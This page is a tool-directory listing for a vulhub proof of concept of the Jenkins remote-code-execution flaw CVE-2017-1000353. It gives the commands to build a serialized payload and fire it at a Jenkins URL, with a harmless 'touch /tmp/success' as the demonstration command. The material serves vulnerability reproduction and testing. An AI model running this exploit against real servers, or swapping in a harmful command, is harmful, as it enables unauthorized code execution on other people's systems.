Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/vulhub/cve-2017-1000353
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubvulhub/cve-2017-1000353

CVE-2017-1000353

jenkins CVE-2017-1000353 POC

View Repository
576221 year agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2017-1000353 POC

How to reproduce the Jenkins CVE-2017-1000353？

Clone this repository, use the pre-built payload jenkins_poc.ser with flowing command:

root@kitploit:~
python exploit.py http://your-ip:8080 jenkins_poc.ser

Then the touch /tmp/success would be executed.

Java Version Requirements

Important: The payload generation is dependent on the Java version. It has been successfully tested with openjdk:8u292. Other Java versions may not work properly for payload generation and exploitation.

How to generate the payload jenkins_poc.ser？

Download CVE-2017-1000353-SNAPSHOT-all.jar.

root@kitploit:~
java -jar CVE-2017-1000353-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

If you're using Docker, you can use the following command to ensure compatibility:

Download Tool
root@kitploit:~
docker run --rm -v $(pwd):/work -w /work openjdk:8u292 java -jar CVE-2017-1000353-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

Reference

https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353